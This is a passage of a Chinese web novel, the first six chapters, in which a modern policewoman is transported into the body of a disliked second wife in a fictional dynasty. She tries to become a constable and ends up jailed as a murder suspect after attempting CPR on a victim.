《当穿越遇上重生》
1. 第 1 章
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陆思云坐在窗台边，看着院子里那棵盛开的桂花树，阵阵桂花香扑鼻而来。
但是她的心情并没有因为这满园的花香而有一丝一毫地喜悦。
她单手托着下巴，脸上写满了百无聊赖。
一件夹袄斗篷轻轻地披在了她的肩上，丫鬟翠柳柔声道：“二夫人，初秋天气凉，仔细别感冒了。”
陆思云没有说话，而是无奈地叹了口气。
穿越到这个世界已经半月有余、
在这半个月的时间内，她通过自己的陪嫁丫鬟翠柳的口中得知，她穿越到的这个朝代叫宣朝，大宣国的皇帝是宣文帝，如今的年号是宣和27年。
她的名字也不叫陆思云，而名楚星然，是镇北侯楚越之女。
翠柳之所以唤她为“二夫人”，是因为楚星然已嫁人为妻，而她的夫君是大理寺少卿宋晏初。
不过，陆思云觉得这位楚星然一定不太受她的夫君待见。不然为什么她穿越到楚星然身上这半个月，这位夫君一次都没来她这里探望过她。
翠柳还告诉她，大夫人莫婉晴是内阁大学士莫宇绅的长女，自小知书达理，琴棋书画样样精通，并且与宋晏初青梅竹马，打小便订下了婚约，等约定的年龄一到，他便迫不及待地将莫大小姐娶进了门。
婚后宋晏初对她以礼相待，两人相敬如宾，相处地十分和睦。
“既然这样，那宋晏初为何还要娶二房？”
翠柳有些无奈地看着她，“二夫人您和姑爷是皇上御赐的婚事。您从以前就一直爱慕姑爷，还扬言这辈子非姑爷不嫁。正巧老爷在边关立了战功，凯旋而归之际便向皇上要了这个赐婚。所以您虽然比大夫人晚进门，但也是妻不是妾。”
原来如此。
原来他是迫不得已才娶了自己，难怪穿越到楚星然身体里的这些日子，她被闷在院子里这么久，他连踏都没有踏进来半步。
其实宋晏初是否喜欢楚星然，待楚星然如何，陆思云根本就不在乎。
只是现在她既然穿越到了这副身体里，那么自己在这个世界到底是什么身份，夫君是什么样的人，自己又是处于什么角色，她必须得清楚明白，这样才能做好下一步的打算。
目前来看，陆思云明白自己大约是穿越到了一个架空的副本，并且看样子还是个不得夫君喜欢的女配角色，他还有个白月光的正妻。
这就有点让人头痛了。
穿越到架空的副本也就算了，没金手指也就算了，还不是主角，连主角光环都没有。
这还怎么玩？
陆思云忍不住又叹了口气。
翠柳立刻关切地问：“二夫人，您是头又不舒服了吗？自从半月前您从台阶上摔落昏睡了三天三夜，醒来您就失了忆。这几天还茶饭不思，人都瘦了一圈，我实在是担心得很。”
陆思云没办法跟她解释自己的情况，就算告诉她自己现在好得很，力气大的能打死一头牛，恐怕自己的丫鬟也是不会信的。
在原本的世界，她是一个刚入社会，涉世未深的菜鸟刑警。
在抓歹徒的途中，不慎将车开落悬崖。等她醒过来的时候，发现自己身处在一个从未出现在历史课本里的朝代，并且有了一个完全不同的身份。
从公务员到深宅二夫人，只需要一个穿越即可。
秉着“既来之，则安之”的原则，陆思云决定坦然地且积极乐观地面对自己眼下的处境。
不就是穿越到了一个架空的朝代，不就是穿越到了女配的身体里。
古代内宅副本，无非就是勾心斗角、尔虞我诈这些把戏，她虽然不擅长，但也并不惧怕。
既然已经身处局中，就算自己再百般不情愿，也得硬着头皮玩儿下去。
因此，她决定先去会一会那位传说中的大夫人，看看对方是个什么角色，以便自己能够想出应对她的方法。
“翠柳，大夫人的宅院在哪里？我想去跟她请安。”
听了她的话，翠柳的脸上闪过一丝异样。
“二夫人，大夫人免了你的每日问候，您忘啦？”
她又不是楚星然，她当然不知道。
“我失忆了，你忘了？”她机智地反问回去。
翠柳立刻恍然大悟，拍了拍自己的脑袋：“瞧我这记性。”
“不过，大夫人深居简出，不愿意与人见面。”
翠柳已经说得相当委婉了。
陆思云还没穿越到楚星然身上之前，原本的宿主是一个脾气火爆，喜欢惹是生非的主儿。平日里没少虐待打骂下人，常常对身为正妻的莫婉晴趾高气昂，处处与之针锋相对。
可惜莫婉晴对她的挑衅一直熟视无睹，完全不接招。
楚星然经常是一拳打在棉花上，怒气无处发泄，通常这个时候都是屋里的下人倒霉。
所以，只要是她所到之处，宋府的下人们无不瑟瑟发抖，深怕自己一个不小心就得罪了这位阎王，吃不了兜着走。
陆思云对此当然是全然不知。
如今她已经在楚星然的身体内，继承了她的身份地位，那么与那位大夫人同住一个屋檐下，抬头不见低头见。
与其猝不及防地相遇，不如自己做好充分地准备，主动去与之见一面。
“无妨，反正呆在这屋里也无趣得紧，找姐姐说会儿话，还能解解闷。”
翠柳的脸色变的更加难看了起来。
陆思云带着翠柳前往大夫人莫晚晴的宅院。
一路上遇到的下人，见了她，无不跪在原地，肩膀微微颤抖，看上去害怕极了。
陆思云不解地问翠柳：“他们为什么看起来这么怕我？”
“他们不是怕您，他们这是尊敬您啊。”翠柳睁着眼说瞎话。
陆思云好歹是警官学校毕业的，察言观色这门心理课程，她在警校里就修过，自然看得出来，这帮下人可不是尊敬自己，而是惧怕自己，并且害怕到浑身发抖的地步。
她猛地停下了脚步，转过身看着翠柳，语气带着一丝威严：“说实话。”
翠柳看她面色不佳，立刻神色一凛，如实回答：“二夫人失忆之前，经常打骂他们。所以全府上下的仆人们全都非常害怕您。”
果然如此。
虽然陆思云心里已经猜到了大概，但是从翠柳口中听到事
2. 第 2 章
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大宣国的首都名叫洛城，是大宣国最大的都城。
作为大宣国的首都，洛城经济繁荣，人口密度高，是一个不折不扣的大都市。
陆思云带着翠柳来到洛城最繁华的街道上，穿梭在来来往往的车马行人之中，看着这热闹非凡的景象，顿时两眼放光。
这跟电视上放的古装片里的场景简直是一模一样。
陆思云兴奋地逛着各种铺子，对那些摊子上贩售的小玩意儿感到特别的新奇。每一个东西在她眼中都是一件上好的文物，都是她发财的好机会。
翠柳不清楚为何自家夫人突然变成了个像是没见过世面的小孩子，忘我地游走在各种摊子前面，把玩着一样又一样东西。
但出于本能，她还是紧紧跟在身后，生怕一步小心跟丢了，回去不好跟姑爷交代。
两人逛累了，便去城南的一家茶楼歇息。
一进茶楼，就听见说书先生那中气十足、字正腔圆的声音：“话说那锦衣卫之首陆琛，英勇神武，办事果断，乃皇上之亲信，只为皇上办事，深受皇上信任。但是陆琛此人，行为乖张，做事狠辣，令人闻风丧胆，人称‘活阎王’。前些日子，高太傅长子有通敌之嫌，皇上命锦衣卫彻查此案。陆琛二话不说，上门直接将人拿下带去了诏狱。诏狱是什么地方，谁进去都得去一层皮。高太傅是太子的老师，但就算是太子亲自去求情，陆琛却是半点情面也不给。高太傅之子从诏狱出来，愣是在床上躺了三个月，才能略微下地行走，可想而知在诏狱过得是怎样非人般的日子。”
“那高太傅的儿子，真的通敌卖国了？”底下听书人问道。
说书先生捋了捋下巴上的长胡子，不紧不慢地道：“此乃国家机密，又岂是我等能觊觎的。不过，由此可以看出这位锦衣卫指挥使的不近人情，冷血无情，不愧为‘活阎王’这个称号。能与之抗衡的，大概只有大理寺少卿宋晏初了。”
“这宋晏初是何许人也？”
“宋晏初，其父是大理寺卿宋启连。宋老一身刚正不阿，屡破奇案，是大理寺里的顶梁柱。他的儿子宋晏初，可谓是青出于蓝，查案能力比宋老更甚，同时也继承了宋老不苟言笑，做事严谨的风格。他与陆琛，相似又有不同。要说相同之处，就是两人全都能力超群且铁面无私。要说不同，一个像地狱之火，人挡杀人佛挡杀佛，杀气太重，一个冷静睿智如同明月，高风亮节。”
陆思云坐在二楼上等包厢，一边磕着瓜子，一边听着说书先生对自己的夫君品头论足，面色不改，仿佛他们谈论的人与她没有半点关系。
从说书人口中的描述来看，虽然她还未与自己的夫君见过，但陆思云也大致能猜测地出来，自己的夫君定是个面瘫死板的人，想想就觉得无趣。
她反倒是对那位“活阎王”陆琛，有些兴趣。
陆思云正津津有味地听说书先生谈论自己的夫君，突然窗外传来阵阵喧闹声。
好奇心作祟，她探出头去看热闹。
楼下一个看上去有五尺四寸的男子，正拉着一位瘦小女子的手臂，女子正在竭力往后退，想要挣脱对方的束缚，嘴里哭喊着：“这位官人，求求你放过我吧。我还有刚过世的母亲还未下葬，我不能跟您回去。”
那个壮硕的男人恶狠狠地对她吼：“我给了你银子，你就是我的人了，还敢不跟我回去？”
“我没有要您的银子，您给的银子我一分钱都没有拿，求求你放开我！”
当街强抢民女？
陆思云作为刑警的DNA立刻动了起来，正义感上头，她想都没想，立刻下了楼。
“夫人，您这是干什么去？您可千万别惹是生非呀。”翠柳急得直跳脚，但又拿她毫无办法，只能紧跟着她下了楼。
陆思云下楼之后，两人还在街上继续拉扯着，动静之大立刻吸引了许多路人的围观。
“住手！”陆思云深吸一口气，将所有力气汇聚丹田一鼓作气大吼一声。
吼声立刻获得了所有人的关注，人群间不自觉地都给她让开了一条小路。
陆思云走到女子身边，面无表情地打量着对面的男人。
男人的外衣是由上好的真丝锦缎制成，腰间挂的玉佩一看就价值不菲，全身上下都透着一股纨绔子弟的气质。
见陆思云挺身而出，男子脸上十分不屑：“又是哪里冒出来的小娘子，敢管本公子的闲事？”
“我看公子穿着必定是大户人家出生，锦衣玉食，府内什么样的人没有，何必在这儿为难一个母亲刚过世的小姑娘。”
“这小娘子前几日在街上卖身葬母，我看她生得好看，便给了她五两银子将她买下，谁知她竟然反悔，今天被我在街上撞见，我岂能善罢甘休？”
女子听了他说的话，连忙抓住陆思云的手臂，慌乱地说道：“这位娘子，请您一定要相信我，我并没有拿这位公子的银两。可他今日却非要让我跟他回府做他的小妾，我不愿意他就想强行把我拉走，请娘子救救我。”
陆思云轻拍女子的手背，无声地安抚对方。然后转过头，目光直视对面的男子，下巴微扬，语气有些挑衅地说：“这位小娘子说他并没有收你的银两。既然没有收，那买卖便没有成立，你当街拉扯她，莫不是想光天化日强抢不成？”
男子恼羞成怒，眼睛瞪得跟个玻璃球似的：“你怎么知道她没拿我的银子，她分明是拿了，却不认账！”
“你胡说！我根本没有拿你的银两。我虽然地位卑贱，只能卖身葬母，但我断然不会做人小妾任人羞辱。”
陆思云不想听她们俩在这儿白扯银两的问题，既然是这五两银子引发的矛盾，那这钱她出了便是。
“翠柳，你身上有没有五两银子，给这位公子。这样，你与这位娘子便钱货两讫，互不相欠。”
翠柳立刻从口袋里掏出五两银子，扔给了对面的男子。
男子一看自己的如意算盘被眼前的女人打乱，气得脸都绿了：“你到底是哪里冒出来的，居然敢管本大爷的闲事！”
此话一出，陆思云的眼神立刻变得深谙了起来。
此人要银子是假，想抢人是真。
当真是无赖至极。
她冷笑一声，表情变得阴冷：“这闲事，我还就管定了。”
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3. 第 3 章
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“你不认得我？”男人的脸上露出些许惊讶之色。
我应该认识他吗？陆思云在心里琢磨。
看他的表情，来人必定是认识楚星然，只是她陆思云不认识对方。
陆思云的脑子正在飞速旋转。
这个突然出现在她面前的男人，会是谁呢？
从翠柳口中得到的情报来看，楚星然身边的男人，除了她的父亲兄长，就只有她的夫君。
难道这位是……？
陆思云还没来得及想出答案，手腕就被对方一把抓住。
“先回去再说。”
陆思云下意识地挣脱束缚，她刚拯救了一个差点被当街强抢了去的女孩，这么快就轮到自己了？
真是天道好轮回，苍天绕过谁。
况且她现在还不能走，她得等翠柳回来给阿淼姑娘两百两银子呢。
她可不能失信于人。
大概是没有想到她会反抗，男人有些不可置信地回过头去看她。
一双好看的桃花眼分明染上了一丝怒气。
就算你用这么好看的一张脸瞪我也没有用，我事儿还没办完呢，陆思云愤懑地想。
“我还不能跟你回去，我答应这位小娘子要给她二百两银子，安葬她的母亲。”
听了她的话，男子这才将目光转向一旁的阿淼。
被他冷不丁地扫了那么一眼，阿淼忍不住打了个寒颤。
“安葬母亲，需要二百两银子这么多？”
“剩下的是我赠予她的，都是女子，互相帮助也是应该的嘛。”
男人垂眸看向她，语气中却带着不屑：“你何时这么心善？”
这话陆思云就不爱听了，她刚行侠仗义，受到了周围人的一片喝彩，心情还在膨胀中，甚至还有些得意忘形。
这个陌生人却过来冷不丁地泼了自己好大一盆凉水，他这是几个意思？
“你认识我吗？为何来管我的事！”
这次男人脸上并没有出现惊讶的神色，而是表现出些许不耐烦：“楚星然，你又在玩什么花样？”
短短几句对话，却让陆思云对这个男人好感全无。
长得好看有什么用？
完全无法沟通的神经病！
陆思云决定不去理会他，她转过身安抚有些被吓到了脸色发白的阿淼：“别怕，翠柳很快就回来了。”
见她无视自己，男人气不打一处来，再次拉住她的手，想把她拽走。
又来？
陆思云一个反手，想给他也来一个过肩摔。
男人没有想到她会反抗自己，被她甩了措手不及，但他到底不是方才那位公子，不会就任由自己这样结结实实地摔在地上。
他反应极快，在落地前一个转身，稳稳地站在地面上。
此人一看就有些功夫在身上。
但既然已经开打，开弓没有回头箭，陆思云乘胜追击，又立刻朝他一个回旋踢。
对方稳稳接住，并且顺势身体向后，巧妙地化解了她的攻击。
一来一回，表面上二人势均力敌，但是只有陆思云自己最清楚，对方只用了三成功力，而自己却已经使出了浑身解数。
她完全不是对方的对手。
两人僵持不下之际，翠柳抱着二百两银子赶了过来。看到眼前的场景，她差点两眼一抹黑，晕过去。
“二夫人，你怎么跟姑爷打起来了？”
“姑爷？”陆思云瞪大了眼睛看着对面的男人。
他就是楚星然的夫君，大理寺少卿宋晏初？
这下陆思云像个泄了气的皮球，彻底动弹不得。
谁能想到，自己逛个街，伸张个正义，还能碰见自己的夫君。
碰见也就算了，还没认出来。
没认出也就算了，还跟他打了起来。
她想过很多种与宋晏初初见的场景，却唯独没有想到会是以这样的方式见面。
陆思云这会儿，属实是有些汗流浃背了。
“那个，夫君怎么会在此处？”陆思云露出尴尬地笑，硬着头皮问。
宋晏初面无表情地看着她，心里也觉得怪异。
他隐约觉得眼前的这位楚星然有些奇怪，居然跟自己动起手来。如若是换成以前，看到自己她定是一副扭捏造作、极力讨好的模样。
而且她一会儿见了自己像看见个陌生人一般，一会儿又笑着叫自己夫君，转变之快，实在是怪异。
但是他向来对楚星然没有好感，甚至是有些成见，所以眼前一切的不正常他都会下意识地归功于对方惺惺作态、诡计多端。
因此，他虽觉得异样，却并未深究。
“我为何在此处，无须向你汇报。马上跟我回府。”
陆思云撇撇嘴。
果不其然，从他的态度可以感受的到宋晏初并不喜欢楚星然，甚至可以说是非常讨厌她。
但是陆思云终究不是楚星然，不会因为他对自己态度冷漠而伤心。
相反，她并不在乎。
她将翠柳手中的银子递给阿淼，笑着说：“你拿着这些银两，安葬完你的母亲，再找处住所，找个营生，好好生活下去。”
阿淼不敢相信，竟然会有如此慷慨之人赠予这么多的银两给自己，顿时感激涕零，立刻朝着她跪了下来。
“娘子的大恩大德，阿淼没齿难忘，来世做牛做马也要报答娘子。”
陆思云连忙将她扶起。
“言重了，举手之劳而已。”
宋晏楚站在一旁，冷眼旁观着她的一举一动，不清楚她葫芦里卖的是什么药。
陆思云处理完自己的事情，便乖乖地跟着宋晏初回府。
宋府祠堂内，陆思云跪在宋家列祖列宗的牌位面前，后背挺得笔直。
宋晏楚站在她身旁，双手反手在身后，看着祖宗地排位，沉声问：“你可知错？”
“敢问夫君，我何错之有？”
“你擅自离府，私自赠予他人财产，你还说你没错？”
古代人的规矩就是多，陆思云暗自在心里嘀咕。
她万万没想到，自己出个家门都是错，乐于助人也是错。
“我并不知晓出府还需要手续，既然你府上规矩这么多，那你给我开个通行证，我想我日后出府的次数应
4. 第 4 章
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宋晏初在自己的书房内踱来踱去，已经快一炷香的时间。
他此前从未这般惩罚过楚星然。
从前的她虽嚣张跋扈，但却从来不会做如此出格之事。所以，就算宋晏初并不喜欢她，但既然她已经嫁给自己，他也从未亏待过她，更没有像今天这样惩罚她。
也许是内疚，也许是担心，总之他从祠堂回到书房之后，就一直心神不宁。
云青站在一旁看着自家少爷在那走来走去好些时候了，忍不住轻声建议道：“少卿，已经过了子时，不如您让二夫人回宅院里休息吧。二夫人向来娇贵，跪一夜身子怎么受得住。夜里风凉，如果着了风寒，楚大人那边也不好交代。”
宋晏初沉默，思考了片刻，觉得云青说得很有道理，于是便走出了书房。
宋晏初来到祠堂，看到那个依旧跪得笔直的背影，透着一股倔强，内心的内疚之感更甚。
他缓缓地走上前，轻咳了一声道：“夜深了，你回去休息吧。”
但是楚星然依旧跪在那里，一动不动。
宋晏初心想：难道是方才自己说的话太重了，伤到她了？
于是他又开口：“方才我说让你跪一夜，只是气话，你不要当真。”
楚星然依旧岿然不动。
他这才觉察出了些许不对劲，又上前走了两步。
待他看清楚情形，宋晏初无声地闭上了眼睛，握紧了小拳头。
楚星然跪得笔直，但头却微微低下，双目紧闭，俨然已经睡熟了。
亏她这样也能睡得着！宋晏初愤愤地想，却又拿眼前的人毫无办法，只能愤愤地拂袖而去。
陆思云结结实实地祠堂面前跪了一晚上，准确地说是跪着睡了一晚上。
天微微亮，翠柳就抱着一件披风跑到她面前披在她的肩膀上，披风带着些凉意，让她下意识地打了好几个寒颤。
翠柳看在眼里，心疼得红了眼睛：“姑爷也真是狠心，真的让夫人您在这里跪了一晚上，也不怕你感染了风寒。”
陆思云并没有在意翠柳的抱怨，而是将手臂递给翠柳，龇牙咧嘴地说：“快扶我起来，我腿僵了动不了，疼疼疼。”
看着自家夫人遭到这样的待遇，翠柳虽然心里难受得很却毫无办法，只能一边抹泪一边将她扶起来。
看到自己的丫鬟为了自己的遭遇而掉眼泪，陆思云的心里流过一丝暖意。
她伸手为翠柳擦拭着眼角的泪水，柔声安慰：“傻丫头，我都还没哭呢，你倒是替我哭上了。”
“我知道夫人要强，不想在外人面前掉眼泪，我这是在帮夫人哭呢。”
陆思云心里有些感动，却终究是没说什么，而是问了一句牛头不对马嘴的话：“早膳是什么时候？”
“大概是辰时，夫人为何问这个？”
“我在估算，我还能躺着睡几个时辰？我腰快断了。”
“……”
陆思云回到自己的房间，大概又睡了一个多时辰，翠柳才来伺候她梳洗打扮，准备去前厅用早膳。
她带着翠柳来到前厅的时候，宋晏初和莫晚晴已经坐在桌前。
许是昨晚罚她在祠堂跪了一晚上，宋晏初也觉得罚得有些重了，心里有些过意不去。见她来了，宋晏初并未像之前那样对她冷眼相待，而是指了指她的位置说：“坐下用膳吧。”
虽然跪了一夜，但陆思云却并未记仇。
虽然她伸张正义，出手相助没有错，但施舍得没有度，没有考虑府内的实际情况，也确实做得不对。
既然做的不对，接受相应的惩罚也是应该的。
况且，此时她的注意力完全不在自己的夫君身上。
来到这个世界这些时日，她一直都想见一见莫晚晴，但对方却总用各种理由推脱自己的问候。所以她一直也没能成功见上莫晚晴一面，今日总算是一睹这位大夫人的芳容。
果然天姿国色，端庄大方，符合一切白月光应该有的特质。
难怪宋晏初这么喜欢她。
见她一瞬不瞬地盯着自己，莫晚晴想无视都没办法，只能堆起一丝礼貌地笑容问：“妹妹盯着我做什么？”
陆思云如实地说出了自己的心里话：“莫姐姐，你长得真漂亮。”
此话一出，前厅所有的人全都一愣。
见大伙儿都像见了鬼似的看着自己，陆思云有些不明所以：“我说错什么了吗？”
翠柳小声在她耳边嘀咕：“您居然夸大夫人漂亮！”
“这是事实啊！莫姐姐确实国色天香，美得不可方物。”
翠柳继续小声提醒：“可您以前可是处处都与她对着干，何时这般夸赞过她。”
是了，楚星然视莫晚晴为情敌，又怎么会对她露出这般花痴的表情，更不会夸她漂亮。
可她现在并不是原来的楚星然，见到美女自然忍不住夸赞一番。
况且她看到莫婉晴的第一眼就很喜欢，并不想与她为敌。她来这个世界不久，人生地不熟，能不树敌尽量不树敌，多个朋友总比多个敌人要对她有利的多。
“莫姐姐，之前是妹妹不懂事，给你添了不少堵，在这里给你赔个不是。姐姐这般温和貌美，定是不会与我一般计较的，是不是。”
莫婉晴吃不准她是真心还是假意，有些不明所以地盯着她看了会儿。
看到对方真挚的眼神，她这才切身感受到，似乎楚星然真的如旁人所说的那般，从台阶上摔下来摔到了脑子，醒来像是换了个人，脾性谈吐与之前大不相同。
随即她露出和煦的笑说：“妹妹言重了。”
陆思云这才心情大好地拿起碗，开始用膳。
刚夹了菜准备送进嘴里，眼角余光看到一旁的男人正用探究的眼神看着她。
这饭是一口都吃不下了。
陆思云放下碗筷，看向一旁的宋晏初，尽量用温和地语气询问：“夫君，你怎么不用膳？”
宋晏初这才回过神来，有些狼狈地拿起碗，仓促地喝了口粥。由于喝得太急，被结结实实地烫了一嘴，俊俏的脸瞬间被烫得变了形。
陆思云不动声色，将这一切尽收眼底。她用力捏住自己的大腿，才忍住不发出笑声。
早膳快结束的时候，陆思云向宋晏初打了个申请：“夫君，今日我想出府，希望你准许。”
宋晏初皱眉，看来是昨晚跪得还不够？还想着出去？
“为何又要出府？”
“府里太闷了，我想出去走走。”
看出他的顾虑，陆思云又说：“夫君放心，这次我一定不会惹事。你要是不放心，可以派人跟着我。”
5. 第 5 章
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两人同时回过头，看到一个身高大约五尺七寸的高大男人站在那，正一脸威严地看着他们。
当差衙役见了他，连忙弯身作揖：“这位小娘子要见宋典史，被我拦在门外，发生了一些口角，不想惊扰到萧捕头。”
听了他的话，萧捕头转过身来打量陆思云。
陆思云与他结结实实地打了个照面，她这才看清楚这位捕头的长相。
此人身形高大魁梧，五官棱角分明犹如刀刻一般，一双深邃犀利的眼睛透着寒光，仿佛要把人看穿。鼻梁高峻，下巴线条分明，周身散发着力量与威严，给人一种压迫之感。
“这位小娘子，为何想见宋典史？”
既然这是位捕头，也是个能说上话的人，同他说其实也一样。
“萧捕头，在下楚星然，自小就很钦佩捕快抓贼，想投靠其门下，谋个捕快的差事，不知六扇门能否给小女子这个机会。”
陆思云这话一说出口，翠柳立刻震惊地捂住了嘴。
她万万没有想到，她家夫人叫自己带她来到六扇门，竟然是为了进衙门做捕快。
这真是荒天下之大谬，大宣国历来从未有过女子进衙门办差这种先例，二夫人这是邪祟上身，失了心智不成？
当班的衙役听了，也觉得眼前的这位女子神志不清，竟然想进衙门做捕快，简直是天方夜谭。
萧捕头虽然没有露出惊讶的神情，然而在听完陆思云的话后，他居然哈哈大笑了起来，仿佛听到了一个惊天大笑话。
陆思云神色平静地看着他笑，方才从当班衙役的口中，她已经知道这个世界男尊女卑的观念严重，女子抛头露面都是错，更何况是想出来赚钱。
她的话会遭到这些人的嘲笑，也在意料之中。
萧捕头笑完，立刻恢复到刚才那边面无表情：“楚娘子如果神志不清，东边街头有个医所，可以请大夫看看。大宣国立国以来，从未听说过女子在衙门当差的，楚娘子要么是没睡醒，要么就是脑子糊涂犯浑。”
“我前些日子确实从台阶上摔落，昏睡了几日。但是我现在非常清醒，知道自己所求何事。如果萧捕快觉得我在说胡话，那么今日我先告辞。我想我们很快会再见面的。”
说完，陆思云不打算过多纠缠，转身离开了六扇门的大门口。
两人望着她离开的笔直的背影，当班衙门不解地问：“萧捕头，这位小娘子到底想做什么？突然上门来谋差事，简直是不可理喻。”
萧捕头看着远处，陷入了沉默，并没搭理他。
陆思云走在回府的路上，一路上没有说话。内心还是有些失落，虽然已经预测到是这样的结果，但事实摆在眼前的时候，她还是有些幻灭。
原来她虽然穿越到了一个架空的朝代，却是一个思想落后，封建保守的时代。
既如此，那自己想要走的路，怕是更加艰难，阻碍更加多了。
翠柳走在她的旁边，几次欲言又止，终于在快到宋府的时候，忍不住问道：“二夫人，您到底想干什么呀？好好的，怎么突然说想去六扇门当差。这要是让姑爷知道了，怕不是要罚你跪一夜祠堂这么简单了。”
陆思云停下了脚步，看了一眼身边的翠柳。
她倒是提醒了自己，她那位看上去就很死板的夫君，怕是她最大的垫脚石。
陆思云突然对未来很迷茫，甚至是有些绝望。
难道自己真的只能在深宅大院，依附一个男人了此残生？
既然如此，命运让她穿越到此处，意欲何为？
大理寺
“你说什么？二夫人去了哪里？”宋晏初从椅子上站起来，有些不敢相信自己的耳朵。
派去跟着陆思云的侍卫只能硬着头皮再说了一遍：“二夫人……二夫人去了六扇门，说……说想要做捕快。”
宋晏初这次听清楚了，他立刻瘫软回座红木座椅上。
青木听了侍卫的话，也颇为惊讶，但更多的还是不解：“女子去衙门当差，我朝从未有过先例。二夫人好端端的，为何想要出去做捕快？她到底是怎么了？”
这个问题同样困惑宋晏楚。
就算楚星然摔坏了脑子，但也不至于糊涂至此。
她到底有没有嫁为人妻的觉悟？她到底知不知道她是有夫之妇，如何能外出抛头露面，甚至是去做男人的营生。
家里有个想要造反的，宋晏初哪里还能在大理寺呆得下去，立刻告了假，打道回府。
陆思云回到宋府，便坐在床前看着桂花树发呆。
这模样跟前几天刚醒过来时如出一辙，翠柳忍不住又开始担心起来。
除了有些失落之外，陆思云喜欢独自一个人思考问题。
比如现在，表面上她好似看着窗外在伤风悲秋，其实她内心在暗暗盘算着接下来应该怎么办。
最简单粗暴的上门求职失败，那么接下来就得用曲向救国的办法达到目的。
怎样才能曲线救国？
假设有命案发生，而自己正好在案发现场，是目击证人，才能有办法参与到案子中，才有可能借此进到六扇门。
随即陆思云摇头否决了这个办法。
命案不会常常发生，况且还得碰巧自己在案发现场，哪有这么巧合的事情被自己遇上呢。
更何况自己并不想看到命案的发生。
有命案，就表示有人失去生命，这是她不愿看到的。
生命对谁来说都是非常宝贵的。
陆思云正在沉迷且认真思考着自己的出路，并未听到门外传来的脚步声。
直到翠柳故意用非常大的声音喊了一声：“姑爷来了！”提醒了她，她这才察觉是宋晏初来了。
穿越到楚星然身体内的这些时日，这还是宋晏初第一次踏进这个院内。
真是稀客，陆思云自嘲地想。
心里虽然这么想着，身体却还是立刻站直了起来迎接。
“夫君怎么来了？”
宋晏初沉着一张脸走进屋，见了她就开口质问：“听说你今天去六扇门了？”
对于宋晏初为何会知道此时，陆思云并不感到意外，“夫君是听跟踪我的侍卫说的么？”
“这重要吗？重要的是，确有此事？”
“确有此事。”
宋晏初努力抑制住自己心中的怒火，“楚
6. 第 6 章
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深夜时分，大街上空无一人，安静得只有虫鸣声。
陆思云抱着包袱漫无目的地走在大街上，内心其实有些后悔。
一个冲动从宋府逃出来的结果就是现在无家可归，不知道何去何从。
现在天色又这么晚，她人生地不熟，属实是有些过于狼狈了。但是她现在总不能再回去那个牢笼里吧。
正当陆思云不知所措时，她突然听到前面小巷子里传来轻微的呻吟声。
虽然声音很低，但由于深夜实在过于安静，所以她还是听到了些许的声响。
好奇心作祟地她慢慢走向那条传出声音的小巷子口，她慢慢探出身子去看巷子里的情况。
等她看清楚之后，听到头皮开始发麻。
巷子身处，一位女子靠在墙上，而站在她对面的男人正在用双手狠狠地掐着她的脖子。
方才陆思云听到的呻吟声，正是这位女子发出的，她必定是想呼喊救命，可是脖子被对方用力卡住，根本没办法喊出声来。
几乎是下意识地，陆思云朝着巷子深处吼道：“喂！住手！你在干什么？”
大概是没想到，这个时辰居然会有人闲逛在大街上，行凶之人明显地愣住，随即把腿就往更深的巷子里跑去。
陆思云本能地追了上去，但在经过倒地不起的女子身边的时候，她还是立刻停下来了脚步。
救人要紧！
她连忙蹲下来查看被害者的情况，发现她气息极其微弱，如果不是她赶过来吼了这么一大嗓子，阻止了恶人的行径，这姑娘怕是早就断了气了。
但是眼下这位女子的情况也十分不好，已经在死亡边缘。
怎么办呢？自己怎么才能够就她。
猛然间金光一闪，陆思云突然想到在警校时候学过的“心脏复苏术”。
于是她立刻将女子正面躺平在地上，将她的头部摆正，然后跪立在女子胸部一侧，两膝分开，寻找到准确的位置，将一只手叠放在另一只手上，开始用力按压。
连续按压三十次后，陆思云用自己的嘴巴把她的嘴完全包裹住，然后进行吹气。
如此反复了多次，没结束一次，她都会趴在受害人的胸口，倾听她的心脏是否恢复跳动。
如果没有，立刻重新再做一次。
正当陆思云正在全力挽救生命的时候，巷口突然传来一个男人的怒吼声：“你在干什么？”
陆思云救人心切，并未回应他，而是依旧在用力按压受害人的胸口。
“来人，替我将她拿下！”
几乎是立刻地，陆思云便被两个男人从地上架了起来。
“放开我！我在救人，你们再不放开我，她就没命了！”
“救人？”方才那个发号施令的人走过来，半蹲下身子，用手指按压在地上女子的脖颈处，然后站起来，冷冷地看着她说：“这位娘子分明已经咽了气，你还说你在救人？”
借着旁边人提着的灯笼的亮光，陆思云这才看清楚来人的面貌，“萧捕头，你怎么在这里？”
“我巡逻到此处，听到有人喊叫，于是便赶过来，正好看到你在行凶。”
“我在行凶？”陆思云瞪大了眼睛，她怎么成凶手了？她方才分明在救人啊！
“我亲眼所见你方才那么用力按压这位娘子的胸口，而现在这位娘子已经死了，不是你杀的又是谁杀的？”
听了他的话，陆思云差点两眼一抹黑气晕了过去。
“我刚才不是在杀人，我是在救人啊！而且你听到的那声吼叫，就是我叫的。我看到凶手正在掐这位娘子的脖子，我大吼制止了他，他听见我的声音立刻就逃走了。”
萧捕头冷艳看着她，显然并不相信她说的话。
“你说你看到凶手行凶，那为何我们赶到的时候，你在用力按压她的胸口。”
“我在做‘心脏复苏’，我看这位娘子气息微弱，还没有完全咽气，我原本是想就她，可惜还是没来得及。”
说到此处，陆思云还是有些悲伤的，毕竟自己曾经是一位警察，看到有人在自己面前死去而自己没能挽救这样的悲剧，还是有些遗憾的。
“心脏复苏？那是什么？”
陆思云朝天翻了个白眼，这下真是“秀才遇到兵，有理说不清了”。
这个世界，根本没有“心脏复苏”这种先进文明的产物。
见陆思云没有说话，萧捕头冷哼一声：“怎么？没话说了？来人，把她带走！”
一听自己要被抓走，陆思云急了：“萧捕头，你真的抓错人了，我没有杀人！我真的不是凶手！我跟她无冤无仇，我杀她干嘛？”
但是无人再理会她的鬼哭狼嚎。
陆思云坐在大牢内，内心满是绝望。
她一直想进六扇门，现在倒是如愿进来了，只不过是进了大牢。
她万万没想到，自己逃出了宋府那座大牢还不到一炷香的时间，就进了真正的大牢。
这是何等的讽刺啊！
刚才她还在哀叹自己无处可去，今晚不知道睡哪里。
这下好了，这个问题倒是给她解决了，她今晚有地方睡觉了，只不过是睡在这暗无天日的牢房中。
陆思云真是欲哭无泪。
别人穿越都是主角、金手指，一路飞升，自己穿越却是直接喜得牢狱之灾，她怎么就这么倒霉啊！
穿成了配角也就算了，怎么还让她变成了凶手蹲大牢呢？
这还叫人怎么玩得下去啊！
她能不能选择game over换个副本打打啊？
陆思云在地牢里凑合睡了一晚，本以为第二天就有人来审问她。
